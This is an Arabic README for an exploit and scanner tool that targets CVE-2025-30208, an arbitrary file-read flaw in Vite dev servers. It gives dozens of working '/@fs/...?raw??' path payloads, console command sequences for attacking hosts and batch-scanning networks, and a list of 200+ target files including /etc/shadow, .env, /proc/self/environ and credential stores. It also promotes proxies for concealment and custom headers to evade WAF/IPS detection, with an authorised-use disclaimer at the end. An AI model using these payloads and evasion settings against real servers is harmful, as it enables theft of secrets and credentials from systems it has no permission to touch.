🔥 ماسح ثغرة قراءة الملف التعسفي CVE-2025-30208 في Vite

📖 نظرة عامة

هذه أداة ماسح ثغرات شاملة مصممة لاكتشاف واستغلال ثغرة CVE-2025-30208 في خوادم تطوير Vite. تسمح الثغرة بقراءة ملفات تعسفية عبر نقاط نهاية نظام ملفات Vite، مما قد يعرض ملفات التكوين الحساسة، كود المصدر، ومعلومات النظام.

🎯 ما تفعله هذه الأداة

• تكتشف مثيلات Vite الضعيفة عبر الشبكات
• تستغل ثغرة قراءة الملف التعسفي بشكل آمن
• تكتشف الملفات الحساسة وبيانات التكوين
• تُبلغ عن النتائج بعدة صيغ (HTML, JSON, Console)
• تدير جلسات المسح والتكوينات
• تتعامل مع الأخطاء بسلاسة مع آليات إعادة المحاولة التلقائية

🏗️ بنية معيارية

تتميز الأداة الآن بـ بنية معيارية لسهولة الصيانة والتوسيع:

• CVE-2025-30208.py - تطبيق الماسح الرئيسي
• payloads.py - حمولات استغلال متقدمة (أكثر من 60 اختلافاً)
• sensitive_files.py - قاعدة بيانات شاملة للملفات الحساسة (أكثر من 200 ملف)
• html_template.py - قالب تقارير HTML محسن بأسلوب الهاكرز

🚀 بداية سريعة

المتطلبات الأساسية

pip3 install -r requirements.txt

الاستخدام الأساسي

python3 CVE-2025-30208.py

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run

📋 الميزات

🔍 كشف الثغرات الأساسي

• أكثر من 60 حمولة متقدمة: تقنيات استغلال شاملة للكشف الأقصى
• كشف ذكي: تحليل ذكي للاستجابات لتجنب النتائج الإيجابية الخاطئة
• تحقق فوري: تحقق مستمر من استجابات الهدف
• اختبار شامل: يختبر جميع نقاط النهاية الضعيفة المعروفة

🛡️ ميزات أمان محسّنة

• دعم بروكسي: إعدادات بروكسي HTTP/HTTPS للإخفاء
• رؤوس مخصصة: تجاوز WAF/IPS برؤوس HTTP مخصصة
• تحديد المعدل: تأخيرات قابلة للتكوين لتجنب الاكتشاف
• إدارة الجلسات: حفظ واستعادة جلسات المسح
• التحقق من الإدخال: تحقق شامل من المعاملات

🔧 قدرات متقدمة

• مسح دفعاتي: مسح متعدد الخيوط لأهداف متعددة
• اكتشاف الملفات الحساسة: اكتشاف تلقائي لأكثر من 200 ملف حساس
• اختبار الاتصال: اختبار بروتوكولات TCP/UDP/HTTP/HTTPS
• استرداد الأخطاء: إعادة محاولة تلقائية مع تأخير تصاعدي
• تسجيل شامل: سجلات مفصلة مع الطوابع الزمنية

📊 التقارير والمخرجات

• 🎨 تقارير HTML محسّنة: تقارير ثغرات جميلة بأسلوب الهاكرز مع رسوم متحركة
• تصدير JSON: بيانات منظمة لمزيد من التحليل
• مخرجات وحدة التحكم: تغذية راجعة ملونة في الوقت الفعلي
• ملفات سجل: مسارات تدقيق مفصلة
• واجهة ويب تفاعلية: خادم ويب مدمج لعرض التقارير

🔧 دليل الاستخدام

1. التكوين الأساسي

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd

CVE-2025-30208 > test

2. اختبار الثغرة

CVE-2025-30208 > run

# تفعيل الوضع المفصل لمخرجات مفصلة
CVE-2025-30208 > verbose
CVE-2025-30208 > run

3. المسح الدفعي

CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch

192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[اضغط Enter مرتين للإنهاء]

4. اكتشاف الملفات الحساسة

CVE-2025-30208 > scan

5. التكوين المتقدم

# تكوين بروكسي
CVE-2025-30208 > proxy
أدخل البروكسي: http://127.0.0.1:8080

# تعيين رؤوس مخصصة
CVE-2025-30208 > headers
أدخل الرؤوس: {"User-Agent": "Custom Scanner"}

# تكوين تحديد المعدل
CVE-2025-30208 > rate
أدخل حد المعدل: 1.0

6. تقارير HTML المحسّنة

# إنشاء تقرير HTML جميل
CVE-2025-30208 > pull

# تشغيل خادم ويب لعرض التقرير
CVE-2025-30208 > web

# تشغيل خادم ويب على منفذ محدد
CVE-2025-30208 > web 8081

# إيقاف خادم الويب
CVE-2025-30208 > web off

📊 مرجع الأوامر

⚙️ خيارات التكوين

🎨 نظام الحمولات المحسّن

يستخدم الماسح الآن أكثر من 60 اختلافاً في الحمولات منظمة في payloads.py:

حمولات @fs الأساسية

/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url

اختلافات المعاملات الموسعة

/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8

اختلافات خاصة بـ Vite

/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug

اختلافات نظام الوحدات

/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html

نقاط نهاية بديلة

/app/{file_path}?raw??
/App/{file_path}?raw??

🔍 اكتشاف الملفات الحساسة المحسّن

تختبر الأداة الآن أكثر من 200 ملف حساس منظمة في sensitive_files.py:

🖥️ ملفات النظام (لينكس/يونكس)

• /etc/passwd - معلومات حسابات المستخدمين
• /etc/shadow - بيانات كلمة المرور المشفرة
• /etc/services - خدمات الشبكة
• /etc/hosts - تعيينات أسماء المضيفين
• /etc/fstab - جدول نظام الملفات
• /etc/ssh/sshd_config - تكوين خادم SSH
• /etc/crontab - مهام cron النظامية
• /etc/sudoers - تكوين sudo

📊 معلومات العمليات

• /proc/version - إصدار النواة
• /proc/cpuinfo - معلومات المعالج
• /proc/meminfo - معلومات الذاكرة
• /proc/self/environ - بيئة العملية
• /proc/self/cmdline - سطر أوامر العملية
• /proc/net/tcp - اتصالات TCP
• /proc/net/udp - اتصالات UDP

⚙️ تكوين التطبيق

• .env - متغيرات البيئة
• .env.local - البيئة المحلية
• .env.production - بيئة الإنتاج
• config.json - تكوين التطبيق
• settings.json - إعدادات التطبيق
• application.properties - تكوين Spring
• application.yml - تكوين YAML
• database.yml - تكوين قاعدة البيانات
• secrets.json - إدارة الأسرار

📦 ملفات Node.js / JavaScript

• package.json - تبعيات Node.js
• package-lock.json - تبعيات مقفلة
• yarn.lock - ملف قفل Yarn
• vite.config.js - تكوين Vite
• vite.config.ts - تكوين Vite بلغة TypeScript
• tsconfig.json - تكوين TypeScript
• webpack.config.js - تكوين Webpack
• next.config.js - تكوين Next.js
• nuxt.config.js - تكوين Nuxt.js
• angular.json - تكوين Angular
• vue.config.js - تكوين Vue.js
• rollup.config.js - تكوين Rollup
• eslint.config.js - تكوين ESLint

🔧 ملفات Git

• .git/config - تكوين Git
• .gitignore - قواعد تجاهل Git
• .gitattributes - سمات Git
• .gitmodules - وحدات Git الفرعية
• .git/HEAD - الفرع الحالي
• .git/logs/HEAD - سجلات Git
• .git/refs/heads/master - فرع master
• .git/refs/heads/main - فرع main

📚 ملفات التوثيق

• README.md - توثيق المشروع
• CHANGELOG.md - سجل التغييرات
• LICENSE - معلومات الترخيص
• CONTRIBUTING.md - إرشادات المساهمة
• AUTHORS - معلومات المؤلفين
• TODO.md - قائمة المهام
• ROADMAP.md - خريطة التطوير

🐳 ملفات Docker

• Dockerfile - تكوين Docker
• docker-compose.yml - Docker Compose
• docker-compose.override.yml - تكوين التجاوز
• .dockerignore - قواعد تجاهل Docker
• docker-compose.prod.yml - تكوين الإنتاج
• docker-compose.dev.yml - تكوين التطوير

🌐 تكوين خادم الويب

• nginx.conf - تكوين Nginx
• apache2.conf - تكوين Apache
• httpd.conf - تكوين خادم HTTP
• .htaccess - التحكم في الوصول لأباتشي
• web.config - تكوين IIS
• robots.txt - توجيهات محركات البحث
• sitemap.xml - هيكل الموقع
• manifest.json - بيان تطبيق الويب
• sw.js - عامل الخدمة
• firebase.json - تكوين Firebase
• firebase.rules - قواعد أمان Firebase

🪟 ملفات Windows

• boot.ini - تكوين الإقلاع
• autoexec.bat - سكريبت التنفيذ التلقائي
• system.ini - تكوين النظام
• win.ini - تكوين Windows
• Users - أدلة المستخدمين
• Windows - ملفات النظام
• Program Files - أدلة التطبيقات

🍎 ملفات macOS

• System - ملفات النظام
• Library - ملفات المكتبات
• Applications - ملفات التطبيقات
• private/etc/hosts - ملف المضيفين
• private/etc/passwd - حسابات المستخدمين

🗄️ ملفات قواعد البيانات

• database.db - قاعدة بيانات SQLite
• database.sqlite - قاعدة بيانات SQLite
• data.db - قاعدة بيانات البيانات
• dump.sql - تفريغ قاعدة البيانات
• schema.sql - مخطط قاعدة البيانات
• migrations - ترحيلات قاعدة البيانات

📝 ملفات السجل

• logs - دليل السجلات
• error.log - سجلات الأخطاء
• access.log - سجلات الوصول
• app.log - سجلات التطبيق
• debug.log - سجلات التصحيح
• combined.log - سجلات مجمعة

💾 ملفات النسخ الاحتياطي

• backup - دليل النسخ الاحتياطي
• backup.sql - نسخة احتياطية لقاعدة البيانات
• backup.zip - نسخة احتياطية مضغوطة
• dump - تفريغ البيانات
• export - تصدير البيانات

🔒 الأمان والمصادقة

• auth.json - تكوين المصادقة
• credentials.json - تخزين بيانات الاعتماد
• keys.json - إدارة المفاتيح
• tokens.json - تخزين الرموز المميزة
• jwt.json - تكوين JWT
• oauth.json - تكوين OAuth

🔌 ملفات API والخدمات

• api.json - تكوين API
• swagger.json - توثيق API
• openapi.json - مواصفات OpenAPI
• graphql.json - تكوين GraphQL
• schema.json - مخطط API

☁️ ملفات السحابة والنشر

• cloudformation.yml - AWS CloudFormation
• serverless.yml - تكوين Serverless
• terraform.tf - تكوين Terraform
• kubernetes.yml - تكوين Kubernetes
• k8s.yml - تكوين Kubernetes

📊 المراقبة والتحليلات

• analytics.json - تكوين التحليلات
• monitoring.json - إعداد المراقبة
• metrics.json - تكوين المقاييس
• telemetry.json - بيانات القياس عن بعد

🎨 تقارير HTML المحسّنة

تولد الأداة الآن تقارير HTML جميلة بأسلوب الهاكرز مع:

✨ الميزات البصرية

• خلفية على نمط الماتريكس مع أحرف متحركة متساقطة
• رسوم متحركة متدرجة وتأثيرات متوهجة
• عناصر تفاعلية مع تأثيرات التمرير
• تصميم متجاوب لجميع الأجهزة
• سمة داكنة محسّنة لمحترفي الأمن

📊 إحصائيات تفاعلية

• عدادات في الوقت الفعلي لإجمالي التسريبات والبايتات المكشوفة
• مؤشرات الخطورة مع ترميز بالألوان
• وظيفة النسخ لكل تسريب
• معاينة المحتوى مع الحجم وعدد الأسطر
• أقسام قابلة للتوسيع لتحليل مفصل

🔧 الميزات التقنية

• دمج خطوط Google (JetBrains Mono, Orbitron)
• رسوم متحركة CSS وتحولات
• تفاعل JavaScript لتحسين تجربة المستخدم
• تصميم متجاوب مع الجوال
• توافق عبر المتصفحات

🌐 دمج خادم الويب

• خادم HTTP مدمج لعرض التقارير
• فتح المتصفح تلقائياً
• خيارات تكوين المنفذ
• أوامر سهلة للبدء/الإيقاف

🛡️ معالجة الأخطاء والاسترداد

آلية إعادة المحاولة التلقائية

• 3 محاولات إعادة: يتم إعادة محاولة الطلبات الفاشلة تلقائياً
• تأخير تصاعدي: زيادة التأخير بين محاولات إعادة المحاولة
• تصنيف الأخطاء الذكي: معالجة مختلفة لأنواع الأخطاء المختلفة
• استرداد سلس: تستمر الأداة في العمل بعد الأخطاء

فئات الأخطاء

• NetworkError: مشاكل الاتصال، المهلة، البروكسي
• ConfigurationError: إعدادات ومعاملات غير صالحة
• ValidationError: معاملات إدخال غير صالحة
• ScannerError: أخطاء عامة في الماسح

ميزات التحقق

• التحقق الفوري من الإدخال: التحقق من جميع المعاملات قبل الاستخدام
• التحقق من التكوين: التحقق الكامل قبل المسح
• اختبار الاتصال: اختبار بروتوكولات TCP/UDP/HTTP/HTTPS
• التحقق من البروكسي: التحقق من صيغة رابط البروكسي

📁 ملفات المخرجات

📝 الإصدارات المتأثرة

🚨 الإصدارات الضعيفة

6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9

✅ الإصدارات غير المتأثرة

Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0

🛡️ الأمان والاستخدام الأخلاقي

⚠️ ملاحظات أمان مهمة

• اختبار مرخص فقط: استخدم فقط على الأنظمة التي تملكها أو لديك إذن صريح باختبارها
• الإفصاح المسؤول: أبلغ عن الثغرات لأصحاب النظام
• تحديد المعدل: استخدم التأخيرات المناسبة لتجنب إغراق الأهداف
• استخدام البروكسي: فكر في استخدام البروكسيات للإخفاء عند الاقتضاء
• الامتثال القانوني: تأكد من الامتثال للقوانين واللوائح المحلية

🔒 أفضل الممارسات

• احصل دائماً على إذن كتابي قبل الاختبار
• استخدم في بيئات خاضعة للرقابة فقط
• وثق جميع أنشطة الاختبار
• احترم حدود المعدل وموارد النظام
• أبلغ عن النتائج بمسؤولية

🚀 أمثلة استخدام متقدمة

مثال 1: مسح شبكة شامل

CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch

مثال 2: مسح مخفي مع بروكسي

CVE-2025-30208 > proxy
أدخل البروكسي: http://127.0.0.1:8080
CVE-2025-30208 > headers
أدخل الرؤوس: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run

مثال 3: سير عمل تقارير محسّن

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080

مثال 4: اكتشاف الملفات الحساسة

CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan

🏗️ هيكل المشروع

CVE-2025-30208/
├── CVE-2025-30208.py          # تطبيق الماسح الرئيسي
├── payloads.py                # حمولات استغلال متقدمة (أكثر من 60)
├── sensitive_files.py         # قاعدة بيانات الملفات الحساسة (أكثر من 200)
├── html_template.py           # قالب تقارير HTML محسّن
├── README.md                  # هذا التوثيق
├── requirements.txt           # تبعيات بايثون
├── logs/                      # دليل ملفات السجل
├── data_leak.html            # تقارير HTML المولدة
├── data_leak.json            # تقارير JSON المولدة
└── session.json              # تكوينات الجلسة المحفوظة

🤝 المساهمة

نرحب بالمساهمات لتحسين هذه الأداة:

1. قم بعمل Fork للمستودع
2. أنشئ فرع ميزة
3. قم بإجراء تغييراتك
4. اختبر بدقة
5. قدم طلب سحب

مجالات المساهمة

• اختلافات حمولات جديدة في payloads.py
• أنماط ملفات حساسة إضافية في sensitive_files.py
• قوالب HTML محسّنة في html_template.py
• تحسين معالجة الأخطاء
• تحسينات الأداء
• تحسينات التوثيق

📄 الترخيص

هذا المشروع مرخص لـ أغراض الاختبارات الأمنية التعليمية والمرخصة فقط.

⚠️ إخلاء مسؤولية قانوني: هذه الأداة مخصصة لأغراض الاختبارات الأمنية والبحث المرخصة فقط. يتحمل المستخدمون مسؤولية التأكد من حصولهم على الإذن المناسب قبل اختبار أي أنظمة. المؤلفون غير مسؤولين عن أي استخدام خاطئ لهذه الأداة.

👨‍💻 المؤلف